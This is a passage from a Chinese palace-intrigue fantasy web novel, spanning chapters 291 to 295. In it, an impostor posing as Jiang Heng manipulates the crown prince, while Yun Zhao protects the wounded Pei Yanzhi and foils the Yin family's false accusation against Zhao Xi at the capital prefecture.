他转头,对不远处正背对着他们的姜绾心笑道:
“心儿,你瞧瞧,你兄长今日真是令孤刮目相看!
这番见解,鞭辟入里,直指要害,便是詹事府那些老学究,也未必能有此透彻!
姜氏有子如此,何愁不能再兴?”
花架下,姜绾心正在小泥炉前轻轻摇着团扇,小心翼翼烹煮一壶香茶。
听到太子这句夸赞,她执扇的手腕不由抖了一下,扇面在空中划出不自然的弧度。
“茶可好了?”
听到太子召唤,她端起盛在白玉壶中的茶汤,低着头走了过来。
为太子和姜珩斟茶时,因为手指尖控制不住地发颤,壶嘴与杯沿轻轻相碰,发出“叮”一声。
她飞快地瞥了一眼对面的姜珩,她随即垂下眼,连呼吸都屏住了片刻。
姜珩仿佛浑然未觉,甚至对她露出一个颇为关切的笑。
他自然而然地伸手接过了她手中的玉壶,为太子斟茶。
“妹妹今日似乎心神不宁。可是暑气太重,身子不适?”他的语气充满兄长的关怀。
太子此刻正对姜珩好感大增,闻言也抬头仔细看了姜绾心一眼:“可是身上不适?还是在这水榭吹了风?”
他随即扬声道:“拂云!”
拂云应声从水榭外快步走入,躬身行礼:“殿下有何吩咐?”
“去,传太医署当值的医官来,给姜奉仪请个平安脉。”
“殿下,不必如此兴师动众。”姜珩抬手制止,语气淡然,“些许小恙,或许只是心绪不宁,气血稍滞。”
他转向依旧低头不语的姜绾心,微微一笑,笑容和煦,却让姜绾心肩膀几不可察地瑟缩了一下。
“妹妹若信得过为兄,不妨将手腕置
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于此处,容我为你看上一看?”
太子惊异地挑了挑眉,看向姜珩:“兰台公子……竟还通晓岐黄之术?”
这倒是新鲜,从未听说过。
姜绾心轻咬着失去血色的下唇,在太子和姜珩的目光注视下,终究不敢违逆。
她缓缓伸出手,将一截细瘦的手腕,轻轻搭在了光滑的红木桌沿上。
袖口微微下滑,露出一段皓腕。
前后不过短短交谈片刻,太子对姜珩的称呼已从直呼其名,变成了带有敬意的“兰台公子”。
此刻眼中更是充满了惊奇与探究,态度与先前判若两人,称得上恭敬有加。
姜绾心将头垂得更低,几乎要埋进胸口。
姜珩神色自若,伸出三指,轻轻搭在姜绾心的腕脉上。
他的手指冰凉,触感让姜绾心又是一颤。
他并未诊脉太久,片刻便收回手,对太子淡然一笑:“殿下忘了?我近来,时常跟在玉珠公主身边行走。”
“公主身边有位随行的医者,医术极为精湛,尤其擅长诊治各种……寻常医者束手无策的疑难杂症。
更难得的是,此人性情豁达,于医道从不藏私。我有幸得她指点一二,略通了些皮**,便想着,不妨给心儿试试。”
他语气寻常,仿佛只是偶然提起。
但“擅长疑难杂症”这几个字,却像一根羽毛,轻轻搔在了太子萧鉴心底的痒处。
自宋白玉那件事后,他虽极力掩饰,但雄风不振的阴影始终如附骨之蛆,难以驱散。
他遍寻秘药偏方,暗中招揽所谓“异人”,却收效甚微,反而愈加焦虑。
此刻听闻玉珠公主身边竟有专治“疑难杂症”的神医,岂能不心动?
他眼神微微闪烁,身体不自觉地前倾:“哦?竟有此事?不知这位医者,是男是女?
那日宫宴,孤似乎未曾留意公主身边有这样的人?”
姜珩抬起眼,看向太子。
那目光清透平和,仿佛将他那点不便宣之于口的心思看得清清楚楚。
个中并无嘲讽或鄙夷,反而带着一种长者般的包容,令人不自觉地放松警惕,心生好感。
太子被这眼神看得一怔,心头那点被窥破的尴尬竟奇异地消散了大半。
就听姜珩悠悠道:“殿下若有兴趣,改日可为殿下引荐这位医者。她的医术,定不会让殿下失望。”
不等太子欣喜表态,姜珩话锋又是一转:
“我已劝服玉珠公主留在京城,不回朱玉国。”他顿了顿,眉心几不可察地轻蹙了一下,
“只是,公主留京,需有合乎身份的府邸安置。
我已代公主向陛下恳请,在京城赐建公主府……
只是,陛下至今尚未明确应允。”
太子此前也隐约听闻,玉珠公主似乎有意长留,而陛下对赐婚姜珩与赐建公主府两事,态度颇为暧昧,迟迟未有决断。
他此刻心情正好,又觉姜珩见识不凡,且能为他引荐神医,当即表态:
“公主留京,事关大晋与朱玉国邦交和睦,意义重大!
若能成事,不仅可彰显我朝怀柔远人之德,于边陲稳定亦大有裨益。
你放心,此事孤定会在父皇面前极力促成!”
姜珩闻言,却是轻轻摇了摇头,唇角那抹笑意变得有些微妙:
“殿下误会了。玉珠公主虽对我信任有加,但她心悦之人,却并非姜某。”
“什么?”太子差点失声叫出来。
满京城谁人不知,姜珩为了尚公主,不惜当街下跪充作马凳,颜面扫地?
若说他不想当驸马,鬼才信!
可今日的姜珩,气度从容,智计深沉,与从前那个徒有虚名、行事冲动的“兰台公子”判若两人。
太子心中惊疑不定,但见识过他刚才那番鞭辟入里的分析后,又不敢全然将他的话当作妄言。
他强压住惊诧,耐着性子,语气更加客气:“公子的意思是……?”
姜珩一字一句,清晰说道:“殿下可还记得那位裴大人?”
第292章 比杀了裴琰之更解恨!
太子脸色肉眼可见地阴沉下来,眼底掠过一丝戾气。
那日在殷府(注:殷府此段剧情详见两百一十四章),裴琰之表面恭顺,实则处处与他作对。
最后更是抢先一步“晕倒”,不仅害得他丢尽脸面,还在那鬼气森森的殷府受了一整夜的惊吓!
此等行径,在他心中已与背叛无异!
姜珩仿佛没看到太子难看的脸色,从容道:“玉珠公主心仪之人,正是这位裴大人。
公主乃朱玉国明珠,身份尊贵,若能得偿所愿,下嫁裴大人,则朱玉国与大晋联系将更为紧密。
公主曾私下向我承诺,若殿下肯玉成此事,她愿以朱玉国公主之名,向殿下个人效忠。
此外,公主还提及,朱玉国有一处秘矿,所产之物于军械铸造有奇效,届时亦可作为‘谢礼’,献于大晋,助殿下稳固边防,增辉圣德。”
太子瞳孔微缩:“当真?”
皇叔公(萧玦)死后,琅琊郡的那条玄铁晶矿脉,便被父皇交到萧启手上。
此事一直令太子耿耿于怀,好长一阵子,只要想起此事,他就恼恨得夜不能寐!
如今听得姜珩所言,太子简直如淋甘露,整个人都精神抖擞起来!
但他很快生出疑虑,“可她一个公主,虽有尊位,并无实权。这等涉及邦交国策、军国秘事的承诺,她说话能作数?”
此次朱玉国使团,三皇子与左贤王兀术皆在,怎会轮得到一个公主揽权?
姜珩轻轻放下手中一直把玩的茶盏,语气平和,态度却带着不容置疑的笃定:
“殿下无需多虑这些细枝末节。
我既然敢向殿下提及此事,自然有把握能让公主的承诺落到实处。
三皇子与左贤王那边,自有分说。
殿下只需考虑,是否愿意做这个顺水人情,既得一位强援,又可得切实好处。”
太子沉吟起来,目光闪烁不定,显然在权衡其中的利益与潜在风险。
玉珠公主近来的“荒唐”名声,他岂会没有耳闻?
传闻这位公主荒淫无度,性喜搜罗俊美男子,且手段狠辣,性情乖张,以折磨这些男子为乐。
入京不足一月,已有数名面首不堪其辱而“暴病身亡”。
若让裴琰之那般清傲自持、风姿卓绝的人物落到玉珠公主手中……
这简直比直接杀了裴琰之更让他解恨!
太子性格睚眦必报,听得姜珩如此建议,自然心动不已。
站在太子身侧稍后方的姜绾心,始终低垂着头颅,露出一段白皙脆弱的颈项。
她脸上维持着恰到好处的温婉与驯顺,仿佛一尊没有自我意志的人偶。
唯有她自己知道,宽大衣袖下,指尖早已冰冷刺骨,深深掐入掌心。
借着奉茶后侧身整理茶具的姿势,她用眼角的余光,极快地偷瞄了一眼正在与太子侃侃而谈的“兄长”。
那张脸,分明是姜珩的脸。
可那眼神,那气度,和说话时不经意流露出的深沉……
这绝不是那个自小伴她长大、事事以她为先的兄长!
他到底是谁?
无边的恐惧如同冰冷的潮水,瞬间淹没了姜绾心。
她的思绪不由自主地被拉回那个雨夜——
那天晚上,她明明告诉翠芯,务必要将荷包亲手送到兄长手上!
一定要带着姜珩,到悦来客栈与她会合!
她在客栈等了整整一个多时辰。
窗外雨声淅沥,每一刻都是煎熬。
就在她几乎要绝望,以为兄长未能领会或出了意外时,房门终于被推开了。
兄长姜珩的身影出现在门口,带着一身雨夜的寒湿气。
“兄长!”她心中一喜,想也不想便扑了上去。
想要投入那熟悉的怀抱,倾吐连日来的委屈与无奈。
然而,她的指尖刚刚触及兄长冰凉湿润的衣襟,一股巨大的力量便猛地袭来!
“兄长”竟毫不留情地,一把将她狠狠推开!
那力道之大,让她踉跄着**数步,后背重重撞在冰冷的墙壁上,撞得她眼前发黑,五脏六腑都仿佛移了位。
她惊骇地抬起头,尚未出口的惊呼冻结在喉间!
她看见了“兄长”的眼神。
那不再是记忆里总是透着心悦与宠溺的眼神,而是一种冷酷到极致的漠然。
他居高临下地瞧着她,仿佛在看一只随手可以碾死的虫子。
紧接着,一阵强烈的眩晕便排山倒海般袭来。
在意识彻底沉入黑暗的前一瞬,她涣散的视线捕捉到了“兄长”的衣摆和靴子——
那上面,沾染着大片大片已然发黑、却依旧刺目的血迹!
好多的血!
在昏暗的灯光下,呈现出一种诡谲的暗红色,绝非寻常沾染所能解释!
然后,她便什么都不知道了。
等她再次恢复意识,发现自己竟然好端端地躺在东宫寝殿,柔软华丽的锦被之中。
窗明几净,阳光明媚,仿佛昨夜那场惊心动魄的雨夜私会,只是一场荒诞不经的噩梦。
但她知道,那不是梦。
因为翠芯不见了。
她强作镇定,问殿中伺候的宫女:“翠芯呢?她去了何处?”
宫女们面面相觑,脸上露出惊讶与困惑:
“回奉仪,翠芯姐姐……奴婢记得,似乎是奉仪派她出宫办事去了?听说是回姜府取什么东西?”
姜绾心的一颗心,瞬间沉到了冰窟里。
不是的。根本不是的。
可她什么都不敢说,什么都不敢问。
那晚私会兄长,本就是冒天下之大不韪,一旦泄露,她将万劫不复。
如今翠芯凭空消失,兄长性情大变……这一切背后隐藏的秘密,让她不寒而栗。
她本想再寻机会,无论如何也要再见兄长一面,弄清楚那晚究竟发生了什么。
可不等她采取行动,“兄长”却主动登门东宫。<
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br>前后不过寥寥数语,就让太子言语敬服,恭谨有加!
此刻,看着眼前这个谈笑自若、将太子心思牢牢掌控的“姜珩”,姜绾心只觉得一股恶寒,从脚底直冲天灵盖。
兄长究竟是怎么了?
是被什么邪祟附体?还是那天晚上,真的发生了什么足以彻底改变一个人的事情?
兄长衣摆上的血……是翠芯的吗?还是……
她不敢再想下去,只能将头垂得更低,努力抑制住身体本能的颤抖。
……
马车前,云昭目光落在裴琰之身上那些细密可怖的伤口上,眸色深沉,若有所思。
李扶音见她沉默不语,神情专注得近乎凝重,还以为她是不愿招惹麻烦。
她心下更急,也顾不得许多,连忙扯了扯云昭的衣袖,声音带着哭腔解释道:“阿昭,他……他真的不是坏人!他,他是……”
“我知道他是谁。”
云昭终于开口,声音平静,打断了李扶音的话。
她当然认得裴琰之。
只是她实在没想到,以裴琰之的谨慎周密,走一步看十步的性子,竟会落到如此狼狈凄惨的境地!
更令人意外的是,救了他的,竟是宜芳郡君李扶音。这两个看似八竿子打不着的人,是如何产生交集的?
显然此时此地,不是探究这些的时候。
云昭侧身抬眼,看向端坐于骏马之上的萧启。
时值盛夏傍晚,暑热未完全消退,京城主干道上往来行人车马依旧不少。
许多人早已认出秦王与云昭的座驾与容貌。
此时见他们停在一辆普通青帷小车前交谈,虽好奇张望,却也觉得理所当然——
玄察司嘛,司主大人每日出入京兆府、处理各种奇案诡事再正常不过。
与秦王殿下同行,也不稀奇。
“殿下,我想先去一趟京兆府。”
四目相对,萧启的目光在她沉静的眉眼间停留一瞬,点了点头:“可。我陪你同去。”
云昭也不推辞,迅速对李扶音低声道:“回车里去。”
又对那惶惶不安的老仆吩咐:“驾车,跟上前面秦王的队伍,去京兆府衙。”
她转向跟在身畔的墨七:“立刻回昭明阁,取七星散、雾里青、望月砂、龙衣各三钱。
‘九转定魂香’一枚,还有我放在紫檀木盒最底层的‘冰魄玉髓膏’全部带来!要快!”
“是!”墨七毫不迟疑,身形一闪,掠入旁边小巷,抄近路疾驰而去。
云昭上马,引着李扶音的马车转向通往京兆府的方向。
她面沉如水,心中却远不如表面平静。
裴琰之身上那些伤口,绝非寻常刀剑或鞭笞所致。
更像是……被蕴含特殊邪力的器物所伤!
裴琰之昏迷不醒,恐怕不仅是失血和疼痛所致,更可能是神魂受创!
裴琰之每日究竟在忙些什么,才招致这等杀身之祸?
……
第293章 没碰过她一根手指头!
京兆府的后巷狭窄而僻静,青石板路被经年的车辙压出浅浅的凹痕。
守门的差役早已得了吩咐,见是秦王与云司主亲至,不敢多问,迅速放行。
马车径直驶入后院。
云昭先扶着惊魂未定的宜芳郡君李扶音下车,低声对迎上来的两名女吏吩咐:
“带郡君去内堂厢房歇息,备上安神茶,小心伺候,勿让旁人打扰。”
李扶音紧紧抓住云昭的手,眼中满是依赖与恳求。
云昭拍了拍她的手背,示意她安心。
安置好李扶音,云昭立刻转向马车。
车厢内,裴琰之的气息越发微弱,月白衫子上的血痕在昏暗光线下触目惊心。
她命两名体格健壮的下属,将一块铺着厚实软垫的门板抬至车边,小心将人移上去。
“抬稳,去正堂。”
在场众人无不惊愕。
这些人虽不是个个都识得裴琰之,但眼见他周身伤痕累累,说是奄奄一息也不为过。
不叫大夫来看,云司主也不亲自问诊,反而抬去公堂之上,这岂不是草菅人命?
但云昭积威日久,身旁更有秦王作陪,众人虽惊疑不定,却无人敢当面置喙。
只得硬着头皮抬起裴琰之,跟随云昭一同往公堂而去。
云昭目光扫过京兆府庄严肃穆的屋宇飞檐。
京兆府掌管京畿刑名,日审阳,夜断阴,明镜高悬,獬豸镇邪。
这府衙历经数代,不知审决过多少冤屈,涤荡过多少奸邪。
其梁柱砖石之间,早已凝聚了一股刚正不阿、辟易阴祟的‘官威法度之气’。
尤其是那对矗立门前、饱经风霜的百年石狻猊,更具镇煞安魂之效。
她命人将裴琰之置于公堂之上,就是要借这股堂皇正气,暂时压制他体内不断侵蚀生机的阴煞怨毒,延缓伤势恶化。
这个时辰,按说公堂之上应当无人才对。
谁知,刚踏入前廊,一阵激烈的争吵声便率先涌入耳中。
其中夹杂着一道明显气急败坏、甚至带着几分绝望嘶哑的男声——
“本官没碰过她一根手指头!天地良心,日月可鉴!
你们殷家再这般红口白牙污人清白,信不信本官今日就豁出去了,在这公堂柱上一头碰死!”
是赵悉!
云昭脚步微顿,眼中掠过一丝诧异。
赵悉此人,她再了解不过,向来见人三分笑。
处事八面玲珑,机变百出,鲜少真正动怒失态。
更别提这般不管不顾、以死相挟!
看来,萧启口中赵悉的这桩“麻烦”,棘手程度,远超预期。
云昭沉吟一瞬,当机立断。
她示意抬着下属将裴琰之就放在公堂之上。
萧启命人取来屏风,暂且隔绝旁人视线。
云昭走上前,咬破左手中指,殷红的血珠瞬间沁出。
人的十指连通心脉,中指尖血,至阳至纯,乃为‘心头血’。
云昭以血在裴琰之苍白的眉心正中,画下一个“镇魂定魄符”。
紧接着,指尖下移,隔着他单薄的衣衫,在其心口膻中穴位置,又绘就一个“锁元固本印”。
两枚血符一成,隐隐有微不可察的金红光泽一闪而逝,没入裴琰之体内。
这个方法,能暂时锁住魂魄不离体,稳固心脉元气,延缓阴煞侵蚀。
只待墨七取来‘九转定魂香’点燃,以其安魂定魄、涤荡阴秽之效,能为裴琰之争取更多时间。
绕过屏风一瞧,只见赵悉未穿官服,一袭宝蓝色曲水云纹花罗长袍,头戴白玉小冠。
赵悉本就生得俊俏,这般装扮,更添倜傥。
然而他左眼眼眶一片乌青肿胀,嘴角破裂,脸颊上还有几道细微的抓痕。
整个人瞧着狼狈又可怜。
面前站着两男一女。
为首是一名年约五旬的中年男子,身穿赭石色暗纹锦袍,身材微胖,面皮白净,蓄着修剪整齐的短须。
他背脊挺得笔直,双手负在身后,下颌微抬,眉眼间带着一股久居人上的倨傲。
稍落后他半步的,是个二十出头的青年。
身形颇为健硕,肩宽背厚,即使穿着锦缎常服,也能看出习武之人的骨架。
他生得浓眉大眼,鼻直口方,本是端正相貌,却因眉宇间一股挥之不去的骄横之气,破坏了整体观感。
最引人注目的是站在两人侧后方,正以绢帕掩面、低声啜泣的女子。
她身量中等,穿着一身娇嫩的鹅黄衣裙,梳着时下流行的垂鬟分肖髻,发间点缀着珠花。
身段比寻常女子略显丰腴,尤其脸颊带着未褪的婴儿肥,此刻因哭泣而染上红晕,更显楚楚可怜。
云昭的目光在那女子脸上停留了一瞬,眉头蹙起。
这女子的眉眼轮廓,竟与姜绾心有五六分相似!
尤其是那蹙眉垂泪、我见犹怜的神韵,简直如出一辙。
只不过姜绾心更为清瘦纤弱,而眼前这女子,略带丰腴,哭起来更添几分娇憨无助。
那中年男子与青年见到有人闯入,原本满脸怒容,正待呵斥。
待看清云昭身后那道雪色身影时,脸色顿时转为惶恐。
“秦王殿下!”中年男子率先反应过来,慌忙躬身行礼,声音都变了调。
青年更是浑身一个激灵,跟着父亲深深作揖。
萧启神色淡漠,只微微颔首,算是受了他们的礼。
他并未多看那父子二人,而是微微侧首,低头在云昭低语:“这两个人,你也不算陌生。”
云昭微讶,目光再次投向那对父子。
就听萧启继续道:“你可还记得殷家?
这两个,便是殷若华的父亲,吏部侍郎殷弘业;和她一母同胞的兄长,殷青柏。”(注:殷若华与阮鹤卿故事,详见一百九十七章及后续)
云昭一时恍然。
她不由多看了这两人几眼。
只见这殷弘业额头虽宽,但眉骨突出,印堂隐隐有悬针纹。
悬针纹主性格刚愎自用,听不进人言,且易怒伤身;
地阁(下巴)短缩,晚运不佳,家宅不宁。
再看那殷青柏,眉骨高凸,眼带赤红,是为“赤脉穿睛”,主易惹官非刑伤。
两人眉宇间都缠绕着一层灰败晦暗之气,正是家运衰颓、福泽已尽的征兆。
其实想起当日在殷府所见所闻,便不难理解。
殷若华身为殷府嫡出大小姐,却能默许甚至协助阮鹤卿做出那等残忍悖逆之事;
事后为了诞育子嗣,更是长期祭拜那棵明显透着古怪的杨树;
最终遭到反噬,与阮鹤卿双双惨死。
由此可见,殷府家风早已不正,对子女更是疏于管教,过于放纵溺爱。
当日云昭为避免阮、殷一家四口惨死后,所积聚的死气与怨煞扩散,伤及殷府上下数十口性命,乃至波及左右街坊,特在殷府后宅设下法坛,行净化涤荡之术。
事后,殷家得以保全,未受阴煞侵害,已是侥幸。
想要家运蒸蒸日上,那是万万不可能的事。
此刻,殷弘业抬起眼,目光与云昭接触
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,脸色不仅没有半分感激,反而隐隐透出一股迁怒与责怪之意。
殷青柏更是直接流露出一抹厌憎,将脸撇向一边。
云昭看到他们流露出这种神情,心中并无波澜,反而有些了然。
她处理过太多类似事件,深知有些人,并不会因你救其性命而感恩,反而会怨恨你揭开了他们不愿面对的疮疤。
但侍立在云昭身侧的墨十七却看不下去了。
“你们这是什么眼神?别忘了,当日若非司主大人出手,你们今日有没有命站在这里,都还两说呢!”
殷弘业被墨十七毫不客气的斥责说得老脸泛红。
但当着秦王的面,又不敢发作。
“岂敢岂敢。”他挤出一丝干笑,对着云昭拱手道:“云司主,当日之事,殷某……感激不尽。”
这话说得干巴巴,毫无诚意。
他随即话锋一转,看向秦王:“殿下,云司主,今日殷某携子前来,实有要事需与赵大人厘清。
此乃殷某家事,兼涉一些不便外扬的私隐。还请殿下与司主暂且回避一二。”
赵悉则隔着人群,可怜巴巴地望着云昭。
那副神情,活像只被恶犬追撵了八条街、终于见到主人的狐狸。
云昭见殷家父子这般作态,赵悉又这副惨状,不由也来了几分兴致。
她非但没有离开,反而径直走到对面,安然坐下。
“殷大人怕是弄错了。并非本官不请自来,而是赵大人请本官过来,说有要事相商。
你们既有事,不妨也一并说了,本官与秦王殿下,或许还能做个见证。”
萧启更是坐都未坐,只负手立于云昭身侧,对站在赵悉身旁的主簿沈清翎淡声道:
“饭菜呢?还不让人送上来。连口待客的茶水都不准备,这就是京兆府的待客之道?”
沈清翎出身临安沈氏,却因家族内部复杂早早离家。
却全凭一身所学高中榜眼,更以弱冠之龄便出任京兆府从八品主簿,向来以清冷孤高、不假辞色著称。(注:沈清翎,详见第八十八章)
他目若寒星,气质冷冽,平日里便是面对上官,也多半是礼节周全。
此刻听到秦王吩咐,他却毫无迟疑,立刻躬身应道:“是下官疏忽。殿下与司主稍候,下官即刻去安排。”
态度之恭谨顺从,与平日判若两人。
殷弘业看得眼皮一跳,不由惊疑不定地再次看向云昭。
三个月前,他因一桩陈年旧案被派遣出京公干,直至十日前,方才风尘仆仆赶回京城。
因此,他完美错过了京城近来发生的一系列大事。
也就未能目睹云昭此前在朝堂之上,当着文武百官的面,所展现的玄妙手段。
至于回京之后,那些同僚口中种种赞誉,他也只当是夸大其词。
一个年纪轻轻的女子,即便有些医术或破案的本事,又能有多厉害?
多半是倚仗秦王之势罢了。
此刻眼见秦王对云昭温柔小意,沈清翎也态度恭谨,他心中迅速盘算,脸色也随之变幻不定。
原本打着要闹大给赵悉施压的主意,此刻就显得有些骑虎难下了。
继续强硬?且看秦王对那云昭的种种维护,今日恐怕讨不到好。
可就此退缩,女儿的清白与殷家的颜面,又该如何处置?
尤其,那人的交代若是做不好,往后殷家肯定要倒大霉!
然而殷弘业不知道的是,正是因为他今日一步不慎步步踏错,才真将整个殷府,彻底拖入万劫不复之境!
第294章 被逼着连娶四女
就在这时,鹅黄衣裙女子忽然止住了哭声。
她抬起泪痕斑驳、我见犹怜的脸,轻轻扯了扯殷青柏的衣袖:
“爹爹……兄长……要不算了吧。咱们……咱们还是走吧。”
她转向被气得脸色发青的赵悉,泪珠儿欲坠不坠,声音哽咽:“赵大人的态度,梦仙已经明白了。
梦仙虽是殷家收养的义女,比不得真正金尊玉贵的千金,但也自幼熟读《女诫》,知廉耻,晓分寸。”
“既然赵大人无意,甚至不惜以死明志,梦仙也不是那等死缠烂打、不知羞耻的轻浮女子。”
她吸了吸鼻子,努力做出坚强的模样:“那天的事,就当从未发生过吧。梦仙……梦仙认了。”
云昭一听这以退为进的语气,这处处挖坑的做派,不由眉头一跳。
这熟悉的配方,还真是跟姜绾心平日里那套如出一辙!
茶香四溢啊!
她朝一旁急得抓耳挠腮的赵悉,投去意味深长的一瞥。
还真是好本事。
她千叮万嘱,让他谨言慎行,尤其留意“桃花”,莫惹是非。
可他倒好,直接招惹来这么一位厉害角色。
赵悉接收到云昭的目光,嘴巴开合,无声地道:“救命啊——!”
他真是冤枉**!
他堂堂七尺男儿,清白犹在呢!
白得和秦王殿下难分伯仲!
云昭心中有了计较,面上却丝毫不露端倪。
反而看向殷梦仙,语气温和,仿佛只是好奇:“殷姑娘方才说‘那日之事’,不知究竟是何事,让姑娘如此委屈?
既然双方都在此,不如说出来,也好辨个是非曲直。
若真是赵大人有错,本官与秦王殿下在此,定不会徇私偏袒。”
殷弘业见状,知道今日不说也不成了。
他深吸一口气,脸上露出痛心疾首的表情:“既然云司主要问,那殷某今日就豁出这张老脸了!
此事关乎小女梦仙的清白名誉,更关乎我殷氏一门的门风颜面!”
他顿了顿,仿佛难以启齿,最终咬牙道:
“就是这位赵悉赵大人!对小女梦仙……已行不轨,强行轻薄!”
“你放屁!”赵悉气得跳脚,眼角的乌青都跟着抖动,
“殷弘业!你血口喷人!本官那日是去查案!何曾有过半分不轨之举?!”
要说赵悉也真是倒霉透顶。
因云昭早有叮嘱,连日来他吃住都在京兆府,大门不出二门不迈,就怕惹上什么麻烦。
可三天前的午后,殷府突然派人来报案,说府上小姐疑似遭遇采花贼,受了惊吓。
说起这采花贼,也是邪门。
京城已经接连出了三起类似的案子。受害者都是未出阁的年轻女子。
案发后,她们无一例外,不哭不闹,反而一口咬定自己与那‘贼人’是两情相悦,私定终身,非君不嫁!
家里人气得要死,却又拗不过,只得憋屈报案。
这案子说大不大,赵悉也就并未知会云昭,而是自行勘探。
殷家这案子是第四起。
赵悉原想着,既是**,又是去官员府邸查案,身边带着好几个得力的衙役捕快,应该万无一失。
到了殷府,殷弘业亲自出面接待,言词恳切焦急。
说女儿受惊过度,暂时安置在内院厢房,情绪极不稳定,需得小心问话。
赵悉不疑有他,便带着两名衙役,跟着引路的管家往后院行去。
赵悉说到此处,脸色垮得像一棵小苦瓜:
“谁知刚穿过一道月亮门,旁边一丛蔷薇花架后面,突然就窜出一个人影,直直地朝着本官撞了过来!”
“就是她!”赵悉指着殷梦仙,气得手指发抖,
“她当时死死抓住我的衣襟不放,我一心想推开她问个清楚,她居然高声喊了起来,说我对她……”
殷梦仙听到此节,当即哭了起来:“我知道……知道赵大人定是不愿承认的……”
殷青柏冷哼一声:“梦仙一个清清白白的姑娘家,为何要用自己的名节来陷害你?”
赵悉气得脸都白了:“我根本不喜欢她这种!就是打死我,我也没碰过她!”
殷梦仙闻言,仿佛受了天大的侮辱和刺激,哭声陡然拔高,身体摇摇欲坠:
“爹爹!兄长!女儿……女儿不想活了!”
说着,竟作势要向一旁的柱子撞去,被殷青柏手疾眼快拦住。
云昭一手撑着下巴,饶有兴致地看着这场闹剧,听到此处,眉梢轻轻挑起。
“殷小姐的意思是,之前那轻薄你的采花贼,就是赵大人?”
赵悉一听这话,气得差点背过气去。
他能承认吗?
这要是认了,岂不是等于承认自己就是那个连犯四案、专撩未嫁女的“风流采花贼”?
别说头顶这顶乌纱帽要摘,传回家里,从祖母到几位姑婶嫂嫂,全家上下的女眷非得用家法活活抽死他不可!
云昭觉得这事儿有点意思。
世人只知男女情爱,却不知其中玄机暗藏。
在她看来,这所谓的“桃花”,大抵分为三种。
其一为正桃花,亦称正缘。乃命理相合,运势牵引,红鸾星动之时所遇良配。
得此桃花者,易缔结美满姻缘,夫妻和顺,家宅安宁,是吉兆。
其二为桃花煞,此乃最凶险的一种。
譬如从前那宋白玉对秦王一见倾心,执念深重,为达占有之目的不择手段,甚至不惜牵连无辜、草菅人命。
最终,自己也落得惨死下场。
此等桃花,如如淬毒蜜糖,沾之不仅损运破家,更有性命之忧。
其三便是这桃花劫。
此劫不同于煞之狠毒,却更显诡异纠缠。
男子逢之,易破财损名,官非缠身;
女子遇之,则可能情路坎坷,名誉受损,乃至心神受扰,运势低迷。
赵悉眼下这情形,分明是撞上了桃花劫,且这劫数来势汹汹,闹得鸡飞狗跳,颇为“凶悍”。
“殷小姐。”云昭目光转向仍在低声啜泣的殷梦仙。
“哭哭啼啼解决不了问题。
我且问你,你想嫁的,
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究竟是闯入府中对你无礼的那个男人,还是眼前这位赵悉赵大人?
想清楚。指认朝廷命官,非同小可。”
殷梦仙抬起泪眼,咬了咬下唇,声音不大,却异常清晰坚定:“那日午后的男子,就是赵大人。”
顿了顿,她仿佛下了很大决心,语出惊人:
“而且……梦仙知道,赵大人左侧后腰靠下的位置,生有一颗米粒大小的红痣!”
此言一出,不仅赵悉脸色骤变,就连萧启也为之侧目。
赵悉后腰靠下的位置有颗红痣,这几乎是无人知晓的秘密。
萧启之所以知道,还是因为少时某次两人结伴去京郊骑马,不慎坠入溪中,弄湿了衣衫,赵悉换衣时他无意间瞥见。
此事过去多年,赵悉自己恐怕都未必记得萧启知晓,更遑论他人。
这殷梦仙如何得知?!
云昭却并未露出惊讶之色,反而唇角微勾,漾开一抹略带兴味的浅笑。
她目光在殷梦仙那张与姜绾心肖似的脸上停留一瞬,又扫过殷家父子变幻不定的神色。
“哦?”她拖长了尾音,仿佛只是好奇求证,“这么说来,赵大人身上……是真有这么一颗红痣了?”
赵悉张了张嘴,看着云昭的眼神充满了难以置信的哀怨。
这都什么时候了!
云昭再跟着起哄下去,他真要被逼着连娶四女了!
云昭却不再看他,反而转向殷家父子,语气悠然:“殷大人,令嫒指认如此具体,看来确有其事。
不过既然涉及官员清誉与女子名节,总需验看证实,方能令人信服。”
说完,她不待殷家父子开口,径直对着赵悉道:“赵大人,脱吧——”
赵悉如遭雷击。
当众脱衣验身?
这简直是奇耻大辱!
“脱。”云昭却不为所动,只吐出一个清晰的字。
赵悉浑身发抖,胸膛剧烈起伏。
可他知道,今日云昭若不出手,这污名恐怕真要坐实了。
他信得过云昭,也只能信她!
他咬了咬牙,伸手解开外袍。
堂上一片寂静,所有人的目光都聚焦在赵悉身上。
殷梦仙垂着眼,但睫毛颤动得厉害;
殷弘业目光闪烁,似在紧张期待;
殷青柏则抱着胳膊,一脸“看你还能如何狡辩”的笃定与不屑。
就在赵悉的外衫将脱未脱之际,云昭指尖微抬,微不可察地掐了个法诀。
那是一道召唤阿措依的法诀。
众人的目光,迫不及待地落在赵悉已然裸露的后腰上——
那里肌肤光洁,哪有什么朱红色的米粒小痣?
“殷小姐,”云昭看向殷梦仙,语气困惑,“你所说的红痣……在哪里?”
赵悉闻言,猛地转身,自己也低头拼命往后腰看。
殷梦仙更是瞬间瞪大了眼睛,失声道:“怎么可能?!”
她不顾矜持,上前两步,目光死死盯住赵悉的后腰,脸色一点点变得苍白。
“明明……明明就在那里!怎么可能没有?!”
第295章 裴琰之,是兄长
仓促之间,若要以符箓或术法,遮掩赵悉后腰那颗真实的红痣,且要瞒过堂上这么多双眼睛,对于云昭而言也并非易事。
电光石火之际,她指尖轻弹所化的,是一道极为隐秘的召请诀。
云昭借阿措依之力,巧妙且迅捷地用了一招障眼法。
也就是民间许多百姓常说的“鬼遮眼”。
然而,此术有一破绽——
若有人不信双眼,直接伸手触摸赵悉后腰,指尖真实的触感,立刻便会打破幻术的蒙蔽。
红痣的存在,将无可遁形。
可在这公堂之上,似殷梦仙这样,走上前死死盯着,已是极大失礼。
谁又敢贸然上前,亲手触摸一位朝廷命官的后腰私密处?
不要脸面啦?
赵悉哼哼唧唧地穿好衣衫,一边系着衣带,一边拿眼角幽怨地睇了云昭一眼。
云昭也真是越来越心机了。
有这等巧妙法子也不提前知会一声,害得他刚才真以为,自己今日要“贞操不保”了。
殷梦仙连连摇头,喃喃道:“不可能……这绝不可能……”
她下意识又想上前,却被身旁脸色铁青的殷青柏一把拉住手腕。
殷青柏额角青筋跳动,指着赵悉斥道:“姓赵的!你想吃了不认账?!”
话已经说到这个份上,双方脸面早撕破了,殷青柏也顾不得言辞粗俗,只想逼赵悉当场就认了。
殷弘业脸色阴沉得能滴出水来,他比儿子想得更多。
赵悉后腰有一颗红痣,那是板上钉钉的事实。
可如今就是没有,他一时心头警铃大作,隐隐感到,事情似乎脱离了最初的掌控。
